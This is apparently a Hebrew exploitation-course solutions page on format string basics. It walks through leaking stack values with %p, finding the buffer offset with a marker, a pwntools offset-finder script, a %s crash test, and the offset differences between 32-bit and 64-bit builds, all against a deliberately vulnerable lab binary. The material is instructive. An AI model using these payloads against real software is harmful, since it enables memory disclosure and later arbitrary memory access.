לדלג לתוכן

5.1 יסודות format string פתרון

פתרון - יסודות format string והleak של המחסנית

כאן נעבור על התרגילים צעד-צעד, עם הפלטים שתראו בפועל וההסבר מאחוריהם. כל הכתובות בפלטים הן ייצוגיות - אצלכם יופיעו כתובות אחרות, אבל המבנה יהיה זהה. הבינארי שאנחנו עובדים עליו הוא זה מהתרגול, מהודר עם gcc -fno-stack-protector -no-pie -O0 -o fmt fmt.c ו-ASLR מכובה.


פתרון תרגיל 1 - leak ראשונה עם p

הרצנו:

python3 -c "print('%p.'*8)" | ./fmt

ופלט ייצוגי:

input> 0x7ffff7f9aa00.(nil).0x7ffff7d04887.0x1.0x0.0x70252e70252e7025.0x2e70252e70252e70.0xa70.(nil).

איך מפרשים את זה? במערכת 64 ביט חמש ההמרות הראשונות נשלפות מהאוגרים rsi, rdx, rcx, r8, r9. אלה ערכים שרידיים ממה שהקוד עשה רגע לפני הקריאה ל-printf - מצביע פנימי של libc, אפסים, ערך 0x1 וכדומה. הם לא קשורים לקלט שלנו.

ההמרה השישית והלאה כבר מגיעות מהמחסנית. שימו לב לערך השישי, 0x70252e70252e7025: אם מפרקים אותו לבתים מקבלים 70 25 2e 70 25 2e 70 25, וזה בדיוק קוד ה-ASCII של p%.p%.p% - כלומר חלק מהקלט שלנו עצמו (%p.%p.). זו הפעם הראשונה ש-printf "רואה" את מה שהקלדנו. כלומר בבנייה הזו, הbuffer מתחיל בערך בסלוט השישי.

לגבי %x: אם מריצים python3 -c "print('%x.'*8)" | ./fmt רואים שכל %x מדפיס רק 8 ספרות הקסדצימליות (4 בתים), כי %x מפרש unsigned int. אבל במרחב הארגומנטים של 64 ביט כל סלוט הוא 8 בתים, אז %x בעצם מראה רק את החצי התחתון של הסלוט ו"מבזבז" את החצי העליון. לכן ב-64 ביט עדיף %p שמראה סלוט מלא ולא מבלבל בספירה.

למה זה עבד / איך להכליל: מספר ההמרות בformat שולט בכמה עמוק printf חופרת. חמש ההמרות הראשונות ב-64 ביט תמיד מבזבזות את שלב האוגרים, ולכן הנתונים המעניינים - הקלט שלנו, כתובות מחסנית, canary - מתחילים מהסלוט השישי.


פתרון תרגיל 2 - מציאת ההיסט של הbuffer

זה הלב. שלחנו סמן ורצף %p:

python3 -c "print('AAAAAAAA' + '.%p'*12)" | ./fmt

פלט ייצוגי:

AAAAAAAA.0x7ffff7f9aa00.(nil).0x7ffff7d04887.0x1.0x0.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70....

סופרים את מיקום הערך 0x4141414141414141 ברצף ה-%p: הוא ה-%p השישי. לכן ההיסט של הbuffer שלנו הוא 6, כלומר %6$p קורא את שמונת הבתים הראשונים של הקלט. שימו לב שמיד אחרי הסמן מופיע 0x252e70252e70252e - זה פשוט המשך הקלט שלנו (הבתים של .%p.%p) שנקרא כסלוט הבא. זו אינדיקציה נהדרת שאנחנו בטווח הנכון: משם והלאה כל סלוט הוא בתים מהקלט שלנו.

מאשרים בקריאה ממוקמת בודדת:

python3 -c "print('%6\$p')" | ./fmt
input> 0xa70243625

רגע, זה לא הסמן - כי הפעם הקלט אינו AAAAAAAA אלא %6$p, אז הסלוט השישי מכיל את הבתים של הformat הקצר הזה עצמו (הקודים של %6$p). הבדיקה הנכונה חייבת לשמור על אותו אורך קידומת. אז שולחים סמן ואחריו קריאה ממוקמת:

python3 -c "print('AAAAAAAA%6\$p')" | ./fmt
input> AAAAAAAA0x4141414141414141

מצוין - קיבלנו את 0x4141414141414141 בדיוק, מה שמאשר שההיסט הוא 6.

הנה סקריפט ה-pwntools המלא שמאתר את ההיסט אוטומטית:

#!/usr/bin/env python3
from pwn import *

context.log_level = 'error'
elf = context.binary = ELF('./fmt')

def leak_slot(i):
    p = process(elf.path)
    p.recvuntil(b'input> ')
    p.sendline(b'AAAAAAAA|' + f'%{i}$p'.encode())
    out = p.recvline()
    p.close()
    return out.strip()

for i in range(1, 15):
    out = leak_slot(i)
    log.info(f'slot {i:2d}: {out.decode(errors="replace")}')
    if b'0x4141414141414141' in out:
        log.success(f'buffer offset = {i}')
        break

פלט ייצוגי:

[*] slot  1: AAAAAAAA|0x7ffff7f9aa00
[*] slot  2: AAAAAAAA|(nil)
[*] slot  3: AAAAAAAA|0x7ffff7d04887
[*] slot  4: AAAAAAAA|0x1
[*] slot  5: AAAAAAAA|(nil)
[+] buffer offset = 6

שימו לב שהסקריפט משתמש בקידומת קבועה AAAAAAAA| בכל הרצה, כך שהbuffer תמיד מתחיל באותו סמן, ורק מספר הסלוט הנקרא משתנה. ברגע ש-%i$p מחזיר את הסמן - מצאנו את ההיסט.

למה זה עבד / איך להכליל: הסמן הוא ערך ייחודי וקל לזיהוי שאנחנו שותלים במקום ידוע (תחילת הbuffer). כשהמרה ממוקמת מחזירה אותו, גילינו את ההתאמה בין "מספר הסלוט ש-printf סופרת" לבין "הבתים שאנחנו שולטים בהם". זהו הגשר שכל שאר הפרק נשען עליו: אותו היסט 6 ישמש אותנו לשתול כתובת ולקרוא ממנה עם %6$s, או לכתוב אליה עם %6$n.


פתרון תרגיל 3 - דריסה בין p ל-s

משימה א - %s על הסמן. שלחנו:

python3 -c "print('AAAAAAAA%6\$s')" | ./fmt

התוצאה:

input> AAAAAAAASegmentation fault (core dumped)

מדוע? ההמרה %6$s שלפה את הסלוט השישי, שמכיל את הסמן שלנו 0x4141414141414141, והתייחסה אליו כאל כתובת. printf ניסתה לקרוא מחרוזת מהכתובת 0x4141414141414141 - כתובת שאינה ממופה בכלל - וקיבלנו קריסה. זה בדיוק ההבדל בין %p ל-%s: הראשון מדפיס את הערך בסלוט, השני מפרש את הערך ככתובת וקורא ממנה.

הקריסה הזו היא הצלחה, לא כישלון. היא מוכיחה שאנחנו שולטים בערך שההמרה %s מנסה לפענח כמצביע. בשיעור הבא נחליף את AAAAAAAA בכתובת אמיתית של משהו שנרצה לקרוא (למשל ערך ב-GOT), ואז %6$s יקרא לנו את התוכן שם במקום לקרוס - וזו קריאה שרירותית מהזיכרון.

משימה ב - %s על מצביע חוקי. אחד הסלוטים הגבוהים על המחסנית מכיל מצביע חוקי (למשל למחרוזת סביבה). נריץ %s ממוקם עליו:

python3 -c "print('%p')" | ./fmt     # first find a slot with an address 0x7fff...
python3 -c "print('%s')" | ./fmt     # then read the string there

כשההמרה %s נופלת על סלוט שכן מכיל מצביע ל-string חוקי, נקבל את תוכן המחרוזת מודפס במקום קריסה. זה ממחיש שהתנהגות %s תלויה לגמרי בשאלה אם הסלוט מכיל מצביע חוקי או לא.

למה זה עבד / איך להכליל: %s = dereference. הכוח שלה הוא בדיוק הסכנה שלה - היא ניגשת לזיכרון לפי ערך שאולי אנחנו שולטים בו. כשנשלב את זה עם ההיסט מתרגיל 2 ועם כתובת אמיתית ששתלנו, נקבל קריאה שרירותית מלאה.


פתרון תרגיל 4 - השוואת 32 ביט מול 64 ביט

הידרנו ל-32 ביט והרצנו את אותו סמן (הפעם 4 בתים, כי סלוט הוא 4 בתים):

gcc -m32 -fno-stack-protector -no-pie -O0 -o fmt32 fmt.c
python3 -c "print('AAAA' + '.%p'*12)" | ./fmt32

פלט ייצוגי:

AAAA.0xffffd6a4.0x80.0xf7fc4540.0x41414141.0x2e70252e.0x252e7025....

הפעם הסמן 0x41414141 מופיע כבר ב-%p הרביעי. כלומר ההיסט ב-32 ביט הוא 4, לעומת 6 ב-64 ביט. ההבדל אינו מקרי:

  • ב-64 ביט חמש ההמרות הראשונות מתבזבזות על האוגרים rsi..r9 לפני שנוגעים במחסנית, ולכן הקלט מתחיל בהיסט 6.
  • ב-32 ביט אין שלב אוגרים כלל. לפי cdecl כל הארגומנטים על המחסנית: מצביע הformat ב-[esp], וההמרות הממוקמות מתחילות לספור מ-[esp+4]. לכן הקלט צף למעלה להיסט נמוך בהרבה.

המספר המדויק (4 כאן) תלוי בפרולוג של הפונקציה וב-alignment של המחסנית בבנייה שלכם, אבל התופעה קבועה: ב-32 ביט ההיסט תמיד נמוך משמעותית מ-64 ביט.

למה זה עבד / איך להכליל: אותו payload נותן היסט שונה בין הארכיטקטורות כי מוסכמת הקריאה שונה. לכן הכלל הראשון בכל אתגר format חדש הוא לזהות את הארכיטקטורה (file ./chal או checksec) ואז למצוא את ההיסט מחדש - אף פעם לא להניח מספר.


פתרון שאלות ההעמקה

  • הקריאה printf("%s", buf) מעבירה שני ארגומנטים: פורמט קבוע "%s" שהמתכנת שולט בו, ו-buf כארגומנט נתונים רגיל. כך printf תדפיס את buf כמחרוזת ותעצור. לעומת זאת printf(buf) מעביר את הקלט כformat, אז כל % בקלט מתפרש כהוראת שליפה. ההבדל הוא מי שולט במחרוזת הformat.
  • הcanary נבדק רק לפני ret, והוא מגן מפני דריסת מחסנית. הleak של format רק קוראת, לא דורסת, אז הcanary נשאר שלם ולא נבדק בכלל. NX מונע הרצת נתונים כקוד, ואנחנו לא מריצים כלום - רק קוראים וכותבים נתונים. שני המנגנונים פשוט לא רלוונטיים לסוג הפעולה הזה.
  • לעקיפת ASLR נעדיף לפי המטרה: כתובת libc מאפשרת לחשב את בסיס libc ולהגיע ל-system או ל-one_gadget; כתובת קוד/PIE מאפשרת לחשב את בסיס הבינארי כשהוא PIE; כתובת מחסנית שימושית כשצריך לכתוב או לקפוץ ליעד על המחסנית. בפועל שולפים כמה כאלה ובוחרים לפי ההמשך.
  • ב-64 ביט printf קוראת את המחסנית בגבולות של 8 בתים. סמן של 8 בתים aligned יושב בדיוק בסלוט אחד ומופיע נקי כ-0x4141414141414141. סמן של 5 או 7 בתים יתפרס על שני סלוטים חלקיים, יתערבב עם בתים שכנים, ולא יתן לנו ערך מזוהה נקי - ולכן קשה יהיה לספור את ההיסט.